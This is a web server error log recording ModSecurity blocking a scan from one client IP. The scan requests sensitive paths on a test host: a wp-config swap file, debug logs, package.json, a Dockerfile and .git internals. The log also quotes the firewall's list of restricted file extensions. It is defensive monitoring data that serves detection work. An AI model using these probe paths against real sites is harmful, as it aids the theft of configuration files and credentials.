[Sat May 10 15:41:04.117474 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/exception.log&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RWwAAAAA&quot;]
[Sat May 10 15:41:04.117645 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/exception.log&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RWwAAAAA&quot;]
[Sat May 10 15:41:04.139858 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RXAAAAAA&quot;]
[Sat May 10 15:41:04.140198 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RXAAAAAA&quot;]
[Sat May 10 15:41:04.140382 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RXAAAAAA&quot;]
[Sat May 10 15:41:04.185719 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RXgAAAAA&quot;]
[Sat May 10 15:41:04.186051 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RXgAAAAA&quot;]
[Sat May 10 15:41:04.186212 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RXgAAAAA&quot;]
[Sat May 10 15:41:04.301495 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RYwAAAAA&quot;]
[Sat May 10 15:41:04.301731 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RYwAAAAA&quot;]
[Sat May 10 15:41:04.301914 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RYwAAAAA&quot;]
[Sat May 10 15:41:04.324207 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/yarn.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /yarn.lock found within REQUEST_FILENAME: /yarn.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RZAAAAAA&quot;]
[Sat May 10 15:41:04.324424 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RZAAAAAA&quot;]
[Sat May 10 15:41:04.324583 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RZAAAAAA&quot;]
[Sat May 10 15:41:04.857336 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSNQAAAAI&quot;]
[Sat May 10 15:41:04.857564 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSNQAAAAI&quot;]
[Sat May 10 15:41:04.857738 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSNQAAAAI&quot;]
[Sat May 10 15:41:04.879877 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSNgAAAAI&quot;]
[Sat May 10 15:41:04.880133 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSNgAAAAI&quot;]
[Sat May 10 15:41:04.880327 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSNgAAAAI&quot;]
[Sat May 10 15:41:04.902533 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSNwAAAAI&quot;]
[Sat May 10 15:41:04.902775 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSNwAAAAI&quot;]
[Sat May 10 15:41:04.902960 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSNwAAAAI&quot;]
[Sat May 10 15:41:04.925169 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSOAAAAAI&quot;]
[Sat May 10 15:41:04.925408 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSOAAAAAI&quot;]
[Sat May 10 15:41:04.925589 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSOAAAAAI&quot;]
[Sat May 10 15:41:04.947738 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSOQAAAAI&quot;]
[Sat May 10 15:41:04.948039 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSOQAAAAI&quot;]
[Sat May 10 15:41:04.948241 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSOQAAAAI&quot;]
[Sat May 10 15:41:04.970422 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/branches/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/branches/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSOgAAAAI&quot;]
[Sat May 10 15:41:04.970668 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/branches/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSOgAAAAI&quot;]
[Sat May 10 15:41:04.970849 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/branches/&quot;] [unique_id &quot;aB9XcCMUhQ8W_ipCq8iSOgAAAAI&quot;]
